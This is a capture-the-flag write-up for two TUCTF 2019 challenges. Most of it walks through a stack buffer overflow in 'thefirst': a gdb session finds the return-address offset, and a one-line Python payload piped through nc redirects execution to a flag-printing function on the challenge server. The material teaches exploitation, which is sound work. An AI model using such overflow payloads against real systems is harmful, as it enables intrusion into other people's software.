Tags: pwn 

Rating:

Tuctf 2019 pwn / re

This writeup contains two seperate writeups for runme, and thefirst. If you want to learn more about binary exploitation / reverse engineering, checkout https://github.com/guyinatuxedo/nightmare.

runme

We just have to run this one:

$   ./runme 
Enter 'flag'
> flag
TUCTF{7h4nk5_f0r_c0mp371n6._H4v3_fun,_4nd_600d_luck}

thefirst

This is a pretty simple buffer overflow challenge. Checkout https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction for more details than what's below.

Start off, this is the binary:

$   pwn checksec thefirst 
[*] '/home/guyinatuxedo/Desktop/restuctf/thefirst'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$   file thefirst 
thefirst: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=d5cdb22c21ed1fe37f1d5d30ba2ddb7c03e34e9a, for GNU/Linux 3.2.0, not stripped
$   ./thefirst 
Let's see what you can do
> 0000000000000000000000000000000000000000000000000000000
Segmentation fault (core dumped)

Looks like it has a buffer overflow. Checking the main function in ghidra confirms it uses gets:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

undefined4 main(void)

{
  char vulnBuf [16];
  
  setvbuf(stdout,(char *)0x0,2,0x14);
  setvbuf(stdin,(char *)0x0,2,0x14);
  printf("Let\'s see what you can do\n> ");
  gets(vulnBuf);
  return 0;
}

Take a quick look in gdb to see what the offset is from the start of our input to the return address:

gef➤  b *0x804927b
Breakpoint 1 at 0x804927b
gef➤  r
Starting program: /home/guyinatuxedo/Desktop/restuctf/thefirst 
Let's see what you can do
> 15935728

Breakpoint 1, 0x0804927b in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffd004  →  "15935728"
$ebx   : 0x0804c000  →  0x0804bf0c  →  0x00000001
$ecx   : 0xf7fb05c0  →  0xfbad208b
$edx   : 0xf7fb201c  →  0x00000000
$esp   : 0xffffd000  →  0xffffd004  →  "15935728"
$ebp   : 0xffffd018  →  0x00000000
$esi   : 0xf7fb0000  →  0x001dbd6c
$edi   : 0xf7fb0000  →  0x001dbd6c
$eip   : 0x0804927b  →  <main+92> add esp, 0x4
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd000│+0x0000: 0xffffd004  →  "15935728"    ← $esp
0xffffd004│+0x0004: "15935728"
0xffffd008│+0x0008: "5728"
0xffffd00c│+0x000c: 0x00000000
0xffffd010│+0x0010: 0xf7fb0000  →  0x001dbd6c
0xffffd014│+0x0014: 0x00000000
0xffffd018│+0x0018: 0x00000000   ← $ebp
0xffffd01c│+0x001c: 0xf7df2751  →  <__libc_start_main+241> add esp, 0x10
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8049272 <main+83>        lea    eax, [ebp-0x14]
    0x8049275 <main+86>        push   eax
    0x8049276 <main+87>        call   0x80490a0 <gets@plt>
 →  0x804927b <main+92>        add    esp, 0x4
    0x804927e <main+95>        mov    eax, 0x0
    0x8049283 <main+100>       mov    ebx, DWORD PTR [ebp-0x4]
    0x8049286 <main+103>       leave  
    0x8049287 <main+104>       ret    
    0x8049288 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "thefirst", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804927b → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd004 - 0xffffd00c  →   "15935728" 
gef➤  i f
Stack level 0, frame at 0xffffd020:
 eip = 0x804927b in main; saved eip = 0xf7df2751
 Arglist at 0xffffcffc, args: 
 Locals at 0xffffcffc, Previous frame's sp is 0xffffd020
 Saved registers:
  ebx at 0xffffd014, ebp at 0xffffd018, eip at 0xffffd01c
gef➤  q

So we can see that the offset is 0xffffd01c - 0xffffd004 = 0x18. We also see that there is a printFlag function at 0x080491f6:

void printFlag(void)

{
  int iVar1;
  
  iVar1 = __x86.get_pc_thunk.ax();
  system((char *)(iVar1 + 0xe05));
  return;
}

That gives us everything we need to solve this challenge:

$   python -c 'print "0"*0x18 + "\xf6\x91\x04\x08"'| nc chal.tuctf.com 30508
Let's see what you can do
> TUCTF{0n3_d0wn..._50_m4ny_70_60}
Original writeup (https://github.com/guyinatuxedo/ctf/tree/master/tu19/thefirst).